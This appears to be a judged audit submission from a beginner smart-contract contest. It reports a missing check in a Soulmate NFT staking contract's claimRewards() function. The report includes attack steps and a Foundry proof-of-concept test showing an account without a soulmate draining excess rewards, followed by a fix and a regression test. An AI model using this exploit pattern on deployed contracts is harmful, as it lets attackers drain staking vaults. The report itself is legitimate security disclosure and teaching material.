Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Missing validation in the `Staking.sol::claimRewards()` function allows users without soulmates to claim rewards without staking tokens for at least a week and receive more than they deserve

Summary

Missing validation checks in the Staking.sol::claimRewards() function will allow users without soulmates to claim rewards without staking tokens for at least a week and receive more than they deserve.

Vulnerability Details

In the Staking.sol::claimRewards() function, there is a code block that, if this is the first time the user is claiming the rewards, sets the timestamp of the last claim to the creation timestamp of the Soulmate NFT:

// first claim
if (lastClaim[msg.sender] == 0) {
@> lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}

This timestamp is later used to determine the number of tokens to reward the caller:

// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);

soulmateContract.idToCreationTimestamp() will return 0 if the caller initiates Soulmate.sol::mintSoulmateToken() but still waits for a soulmate to be assigned.
soulmateContract.idToCreationTimestamp() will return the creation timestamp of the token with id 0 if the caller didn't initiate Soulmate.sol::mintSoulmateToken().

This will allow users who do not have soulmates to claim rewards without staking tokens for at least a week, and potentially claim more rewards than they would normally be eligible for.

In the end, this vulnerability has the potential to cause a drain of funds from the staking vault.

Impact

Users without soulmates can claim rewards without staking tokens for at least a week and receive more than they deserve.

Proof of Concept (PoC)

  • [1] The attacker mints a Soulmate NFT.

  • [2] The attacker claims ERC20 tokens from the Airdrop contract.

  • [3] The attacker transfers the ERC20 tokens to another account they control, which doesn't hold a Soulmate NFT.

  • [4] Using an account that doesn't hold a Soulmate NFT, the attacker attempts to find a soulmate.

  • [5] The attacker stakes ERC20 tokens using an account that doesn't yet have a soulmate assigned but holds ERC20 tokens.

  • [6] The attacker claims rewards without staking tokens for at least a week and receives more than they deserve.

Add the following test in StakingTest.t.sol:

function test_usersWithoutSoulmatesCanClaimMoreRewardsWithoutStakingLongEnough(address random) public {
vm.assume(random != address(soulmateContract) && random != address(loveToken) &&
random != address(stakingContract) && random != address(airdropContract) &&
random != address(airdropVault) && random != address(stakingVault)
);
assertEq(soulmateContract.soulmateOf(random), address(0)); // Non-NFT holder
// attacker can mint NFT with one account
_mintOneTokenForBothSoulmates();
uint256 mockedBlockTimestamp = 1707973127; // timestamp of Ethereum block number `19231100`
vm.warp(mockedBlockTimestamp);
uint256 amountToStake = 1;
// attacker can claim ERC20 tokens and then transfer them to another account that they control
vm.startPrank(soulmate1);
airdropContract.claim();
loveToken.transfer(random, amountToStake);
vm.stopPrank();
assertEq(loveToken.balanceOf(random), amountToStake);
uint256 stakingVaultTokenBalanceBeforeRewardsClaim = loveToken.balanceOf(address(stakingVault));
uint256 userTokenBalanceBeforeRewardsClaim = loveToken.balanceOf(random);
// using an account that doesn't hold NFT, but holds ERC20 tokens, the attacker can stake ERC20 tokens and then claim much more rewards even if they didn't stake tokens for at least one week
vm.startPrank(random);
loveToken.approve(address(stakingContract), amountToStake);
stakingContract.deposit(amountToStake);
assertEq(stakingContract.userStakes(random), amountToStake);
stakingContract.claimRewards();
stakingContract.withdraw(amountToStake);
vm.stopPrank();
uint256 stakingVaultTokenBalanceAfterRewardsClaim = loveToken.balanceOf(address(stakingVault));
uint256 userTokenBalanceAfterRewardsClaim = loveToken.balanceOf(random);
assertGt(userTokenBalanceAfterRewardsClaim, userTokenBalanceBeforeRewardsClaim);
assertEq(stakingVaultTokenBalanceAfterRewardsClaim, stakingVaultTokenBalanceBeforeRewardsClaim - (userTokenBalanceAfterRewardsClaim - amountToStake));
}

Run a test with forge test --mt test_usersWithoutSoulmatesCanClaimMoreRewardsWithoutStakingLongEnough.

Tools Used

  • Manual review

  • Foundry

Recommendations

Revert the transaction if the sender doesn't have a soulmate.

Recommended changes to the Staking.sol::claimRewards() function:

/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error Staking__NoMoreRewards();
error Staking__StakingPeriodTooShort();
+error Staking__UsersWithoutSoulmateCannotClaimRewards();
function claimRewards() public {
+ if (soulmateContract.soulmateOf(msg.sender) == address(0)) {
+ revert Staking__UsersWithoutSoulmateCannotClaimRewards();
+ }
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
lastClaim[msg.sender] = block.timestamp;
// Send the same amount of LoveToken as the week waited times the number of token staked
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
emit RewardsClaimed(msg.sender, amountToClaim);
}

Add the following import and test in StakingTest.t.sol:

import {Staking} from "../../src/Staking.sol";
function test_claimRewardsRevertsWhenCallerIsWithoutSoulmate(address random) public {
vm.assume(random != address(soulmateContract) && random != address(loveToken) &&
random != address(stakingContract) && random != address(airdropContract) &&
random != address(airdropVault) && random != address(stakingVault)
);
assertEq(soulmateContract.soulmateOf(random), address(0)); // Non-NFT holder
// attacker can mint NFT with one account
_mintOneTokenForBothSoulmates();
uint256 mockedBlockTimestamp = 1707973127; // timestamp of Ethereum block number `19231100`
vm.warp(mockedBlockTimestamp);
uint256 amountToStake = 1;
// attacker can claim ERC20 tokens and then transfer them to another account that they control
vm.startPrank(soulmate1);
airdropContract.claim();
loveToken.transfer(random, amountToStake);
vm.stopPrank();
assertEq(loveToken.balanceOf(random), amountToStake);
uint256 stakingVaultTokenBalanceBeforeRewardsClaim = loveToken.balanceOf(address(stakingVault));
uint256 userTokenBalanceBeforeRewardsClaim = loveToken.balanceOf(random);
// using account that doesn't hold NFT, but holds ERC20 tokens, attacker can stake ERC20 tokens and then claim rewards even if didn't stake tokens at least one week
vm.startPrank(random);
loveToken.approve(address(stakingContract), amountToStake);
stakingContract.deposit(amountToStake);
assertEq(stakingContract.userStakes(random), amountToStake); // users without soulmates can't claim rewards even if they staked ERC20 tokens
vm.expectRevert(Staking.Staking__UsersWithoutSoulmateCannotClaimRewards.selector);
stakingContract.claimRewards();
vm.stopPrank();
}

Run a test with forge test --mt test_claimRewardsRevertsWhenCallerIsWithoutSoulmate.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.